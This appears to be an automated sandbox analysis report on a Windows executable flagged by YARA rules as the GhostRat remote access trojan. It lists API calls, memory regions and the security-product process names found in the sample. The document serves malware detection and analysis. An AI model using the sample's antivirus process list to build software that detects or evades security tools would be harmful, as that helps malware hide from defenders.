Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

Code function: 0_2_0061A76C GetTickCount,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetCurrentProcessId,CreateNamedPipeW,GetLastError,CreateFileW,SetNamedPipeHandleState,CreateProcessW,CloseHandle,CloseHandle,

0_2_0061A76C

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

Code function: 0_2_00601070 GetSystemTimeAsFileTime,FileTimeToSystemTime,

0_2_00601070

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Code function: 5_2_03085D22 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

5_2_03085D22

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

Code function: 0_2_004270EC GetVersionExW,

0_2_004270EC

Source: leBwnyHIgx.exe	Binary or memory string: acs.exe
Source: leBwnyHIgx.exe	Binary or memory string: vsserv.exe
Source: leBwnyHIgx.exe	Binary or memory string: avcenter.exe
Source: leBwnyHIgx.exe	Binary or memory string: kxetray.exe
Source: leBwnyHIgx.exe	Binary or memory string: cfp.exe
Source: leBwnyHIgx.exe	Binary or memory string: avp.exe
Source: leBwnyHIgx.exe	Binary or memory string: KSafeTray.exe
Source: leBwnyHIgx.exe	Binary or memory string: 360Safe.exe
Source: leBwnyHIgx.exe	Binary or memory string: rtvscan.exe
Source: leBwnyHIgx.exe	Binary or memory string: 360tray.exe
Source: leBwnyHIgx.exe	Binary or memory string: ashDisp.exe
Source: leBwnyHIgx.exe	Binary or memory string: TMBMSRV.exe
Source: leBwnyHIgx.exe	Binary or memory string: 360Tray.exe
Source: leBwnyHIgx.exe	Binary or memory string: avgwdsvc.exe
Source: leBwnyHIgx.exe	Binary or memory string: AYAgent.aye
Source: leBwnyHIgx.exe	Binary or memory string: QUHLPSVC.EXE
Source: leBwnyHIgx.exe	Binary or memory string: RavMonD.exe
Source: leBwnyHIgx.exe	Binary or memory string: Mcshield.exe
Source: leBwnyHIgx.exe	Binary or memory string: K7TSecurity.exe

Stealing of Sensitive Information

Yara detected GhostRat

Source: Yara match	File source: 5.2.leBwnyHIgx.exe.44e05eb.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.37.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.4252c53.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.30.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.925ddb.25.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.428486b.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.29.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe80cb.28.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.31.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.24.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.3070000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.2ef05bf.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.2df1053.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.32.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.23.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.34.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe80cb.28.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.428486b.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.32.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.4511bf3.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.36.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe80cb.35.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.33.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.2df1053.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.21.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.4252c53.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.20.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.23.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.4511bf3.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.90edfb.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.37.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.925ddb.25.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.2c51004.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.90edfb.18.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe80cb.35.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.31.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.20.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.29.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.21.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.24.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.2ef05bf.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe80cb.19.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.27.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.2c51004.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.33.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.27.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.454380b.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.34.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.8fe043.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe10a3.17.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.92fcab.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.26.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.92fcab.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe80cb.22.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.454380b.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe80cb.22.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.3070000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe80cb.19.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.26.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.36.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.30.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.44e05eb.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.2572510543.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3807432806.00000000041E1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3107343124.0000000003FE6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3504281885.0000000003FE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2572570751.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2916173628.00000000041E1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3847762945.000000000092F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2231349112.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3992441735.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4134424377.0000000002DF0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3282299406.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3107580457.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3847713177.0000000003FE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2956428544.000000000090E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2729342507.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2956631944.0000000003FE1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3635220624.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4135196957.00000000044E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4134301268.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3807432806.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2394511408.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2092467129.00000000008FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3462916069.00000000041E1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2916173628.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3787990039.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3462635907.0000000000925000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2394414538.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2107248320.0000000004221000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2231413227.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4134547256.0000000002EF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4135092176.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3148323285.0000000003FE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2729432226.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3462916069.0000000004251000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3107145495.000000000090E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.3107580457.00000000041E1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: leBwnyHIgx.exe PID: 180, type: MEMORYSTR

Remote Access Functionality

Yara detected GhostRat

Source: Yara match	File source: 5.2.leBwnyHIgx.exe.44e05eb.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.37.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.4252c53.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.30.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.925ddb.25.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.428486b.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.29.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe80cb.28.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.31.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.24.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.3070000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.2ef05bf.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.2df1053.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.32.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.23.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.34.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe80cb.28.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.428486b.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.32.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.4511bf3.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.36.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.3fe80cb.35.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.33.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.2df1053.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.21.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.4252c53.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.20.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.23.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.4511bf3.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.90edfb.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.428486b.37.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.925ddb.25.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.leBwnyHIgx.exe.2c51004.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.4252c53.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.leBwnyHIgx.exe.90edfb.18.raw.unpack, type: UNPACKEDPE
